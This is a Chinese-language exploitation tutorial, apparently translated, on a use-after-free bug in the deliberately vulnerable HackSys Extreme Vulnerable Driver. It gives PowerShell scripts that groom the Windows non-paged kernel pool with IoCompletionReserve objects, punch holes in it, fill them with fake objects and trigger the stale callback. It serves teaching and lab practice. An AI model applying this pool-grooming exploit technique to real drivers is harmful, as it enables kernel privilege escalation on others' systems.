返回介绍

Pwn

发布于 2025-01-03 23:32:56 字数 9430 浏览 0 评论 0 收藏 0

很好,基本原理上面已经说明。

  1. 我们分配一个 UAF 对象。
  2. 我们释放掉 UAF 对象。
  3. 我们使用伪造的对象占坑释放掉的 UAF 对象内存。
  4. 我们用野指针调用 UAF 对象的 callback 函数,此时 callback 函数指针已经由伪造的对象来决定了。

非常好,也非常简单!

唯一的麻烦在于我们可能遇到内存对齐以及内存池块合并的问题,这里我再次推荐你阅读 Tarjei 的 paper 。本质上来说,如果我们释放掉的 UAF 对象与其他空闲的内存池块毗邻的话,出于性能的考虑,内存分配器会合并这些块。一旦发生这种情况,我们很可能就无法用伪造的对象来占坑了。为了避免这种情况,我们需要对非分页内存池的状态有一个全盘的预测,强制驱动在 UAF 对象的位置分配内存给我们,以便于后面的覆盖!

我们的第一个目标在于填充,尽可能的把所有非分页内存池“起始”的空闲空间填满。为此我们需要创建一大堆与 UAF 对象尺寸相近的对象。IoCompletionReverse 对象是一个完美的候选者,它在非分页内存池上分配且尺寸为 0x60!

首先,在喷射(Spray)内存池之前,让我们先看看 IoCompletionReserve 的对象类型(对象类型可以通过"!object \ObjectTypes"来查看)。

我们可以使用 NtAllocateReserveObject 函数来创建 IoCo 对象。该函数返回一个创建对象的句柄,只要我们不释放该句柄,这个对象将永远在内存池中保留分配态。在下面的 POC 中我喷射了这些对象到两个位置:

  1. 10000 个对象用于填充碎片化内存池空间。
  2. 5000 个对象如期的连在一起。

出于调试的目的,该脚本转储了最后的 10 个句柄到标准输出并且会在 WinDBG 中自动设置一个断点。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
 
  [DllImport("kernel32.dll", SetLastError = true)]
  public static extern Byte CloseHandle(
    IntPtr hObject);
 
  [DllImport("ntdll.dll", SetLastError = true)]
  public static extern int NtAllocateReserveObject(
    ref IntPtr hObject,
    UInt32  ObjectAttributes,
    UInt32 ObjectType);
     
  [DllImport("kernel32.dll", SetLastError = true)]
  public static extern void DebugBreak();
}
"@
 
function IoCo-PoolSpray {
  echo "[+] Derandomizing NonPagedPool.."
  $Spray = @()
  for ($i=0;$i -lt 10000;$i++) {
    $hObject = [IntPtr]::Zero
    $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
    if ($CallResult -eq 0) {
      $Spray += $hObject
    }
  }
  $Script:IoCo_hArray1 += $Spray
  echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"
 
  echo "[+] Allocating sequential objects.."
  $Spray = @()
  for ($i=0;$i -lt 5000;$i++) {
    $hObject = [IntPtr]::Zero
    $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
    if ($CallResult -eq 0) {
      $Spray += $hObject
    }
  }
  $Script:IoCo_hArray2 += $Spray
  echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"
}
 
echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray
 
echo "`n[>] Last 10 object handles:"
for ($i=1;$i -lt 11; $i++) {
  "{0:X}" -f $($($IoCo_hArray2[-$i]).ToInt64())
}
 
echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()

你可以看到这些输出,并在 WinDBG 上命中断点。

如果我们再看看 IoCompletionReserve 类型,就可以发现实际上分配了 15000 个对象!

让我们观察一个标准输出中转储的句柄。

如期所致,这是个 IoCompletionReserve 对象。同时,考虑到这是我们喷射的最后一批句柄,它们应该在非分页内存池上被连续的分配。

很好,我们看到对象的尺寸是 0x60(96) 个字节,它们稳定的在内存池中连续分配!最后一步我们会在 POC 中添加一个例程,用于释放第二次喷射中偶数次分配的 IoCompletionReserve 对象(一共 2500 个)来在非分页内存池上挖坑。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
 
  [DllImport("kernel32.dll", SetLastError = true)]
  public static extern Byte CloseHandle(
    IntPtr hObject);
 
  [DllImport("ntdll.dll", SetLastError = true)]
  public static extern int NtAllocateReserveObject(
    ref IntPtr hObject,
    UInt32  ObjectAttributes,
    UInt32 ObjectType);
     
  [DllImport("kernel32.dll", SetLastError = true)]
  public static extern void DebugBreak();
}
"@
 
function IoCo-PoolSpray {
  echo "[+] Derandomizing NonPagedPool.."
  $Spray = @()
  for ($i=0;$i -lt 10000;$i++) {
    $hObject = [IntPtr]::Zero
    $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
    if ($CallResult -eq 0) {
      $Spray += $hObject
    }
  }
  $Script:IoCo_hArray1 += $Spray
  echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"
 
  echo "[+] Allocating sequential objects.."
  $Spray = @()
  for ($i=0;$i -lt 5000;$i++) {
    $hObject = [IntPtr]::Zero
    $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
    if ($CallResult -eq 0) {
      $Spray += $hObject
    }
  }
  $Script:IoCo_hArray2 += $Spray
  echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"
 
  echo "[+] Creating non-paged pool holes.."
  for ($i=0;$i -lt $($IoCo_hArray2.Length);$i+=2) {
    $CallResult = [EVD]::CloseHandle($IoCo_hArray2[$i])
    if ($CallResult -ne 0) {
      $FreeCount += 1
    }
  }
  echo "[+] Free'd $FreeCount IoCo objects!"
}
 
echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray
 
echo "`n[>] Last 10 object handles:"
for ($i=1;$i -lt 11; $i++) {
  "{0:X}" -f $($($IoCo_hArray2[-$i]).ToInt64())
}
 
echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()

这 2500 个 0x60 字节大小的空闲内存池块现在就处于一个可预测的位置,它们中的每一个都被两个已分配块所包围,阻止了他们的合并操作!

是时候把所有的过程整合在一起了。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
  [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  public static extern IntPtr CreateFile(
    String lpFileName,
    UInt32 dwDesiredAccess,
    UInt32 dwShareMode,
    IntPtr lpSecurityAttributes,
    UInt32 dwCreationDisposition,
    UInt32 dwFlagsAndAttributes,
    IntPtr hTemplateFile);
   
  [DllImport("Kernel32.dll", SetLastError = true)]
  public static extern bool DeviceIoControl(
    IntPtr hDevice,
    int IoControlCode,
    byte[] InBuffer,
    int nInBufferSize,
    byte[] OutBuffer,
    int nOutBufferSize,
    ref int pBytesReturned,
    IntPtr Overlapped);
 
  [DllImport("kernel32.dll", SetLastError = true)]
  public static extern Byte CloseHandle(
    IntPtr hObject);
 
  [DllImport("ntdll.dll", SetLastError = true)]
  public static extern int NtAllocateReserveObject(
    ref IntPtr hObject,
    UInt32  ObjectAttributes,
    UInt32 ObjectType);
   
  [DllImport("kernel32.dll")]
  public static extern uint GetLastError();
}
"@
 
function IoCo-PoolSpray {
  echo "[+] Derandomizing NonPagedPool.."
  $Spray = @()
  for ($i=0;$i -lt 10000;$i++) {
    $hObject = [IntPtr]::Zero
    $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
    if ($CallResult -eq 0) {
      $Spray += $hObject
    }
  }
  $Script:IoCo_hArray1 += $Spray
  echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"
 
  echo "[+] Allocating sequential objects.."
  $Spray = @()
  for ($i=0;$i -lt 5000;$i++) {
    $hObject = [IntPtr]::Zero
    $CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
    if ($CallResult -eq 0) {
      $Spray += $hObject
    }
  }
  $Script:IoCo_hArray2 += $Spray
  echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"
 
  echo "[+] Creating non-paged pool holes.."
  for ($i=0;$i -lt $($IoCo_hArray2.Length);$i+=2) {
    $CallResult = [EVD]::CloseHandle($IoCo_hArray2[$i])
    if ($CallResult -ne 0) {
      $FreeCount += 1
    }
  }
  echo "[+] Free'd $FreeCount IoCo objects!"
}
   
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
if ($hDevice -eq -1) {
  echo "`n[!] Unable to get driver handle..`n"
  Return
} else {
  echo "`n[>] Driver information.."
  echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
  echo "[+] Handle: $hDevice"
}
 
echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray
 
echo "`n[>] Staging vulnerability.."
# Allocate UAF Object
#---
# 0x222013 - HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT
echo "[+] Allocating UAF object"
[EVD]::DeviceIoControl($hDevice, 0x222013, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
 
# Free UAF Object
#---
# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT
echo "[+] Freeing UAF object"
[EVD]::DeviceIoControl($hDevice, 0x22201B, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
 
# Fake Object allocation
#---
# 0x22201F - HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT
echo "[+] Spraying 5000 fake objects"
$Buffer = [Byte[]](0x41)*0x4 + [Byte[]](0x42)*0x5B + 0x00 # len = 0x60
for ($i=0;$i -lt 5000;$i++){
  [EVD]::DeviceIoControl($hDevice, 0x22201F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
}
 
# Trigger stale callback
#---
# 0x222017 - HACKSYS_EVD_IOCTL_USE_UAF_OBJECT
echo "`n[>] Triggering UAF vulnerability!`n"
[EVD]::DeviceIoControl($hDevice, 0x222017, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

在 UseUaFObject 函数上下个断点,这里有回调函数的调用并执行到我们最终的 POC。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文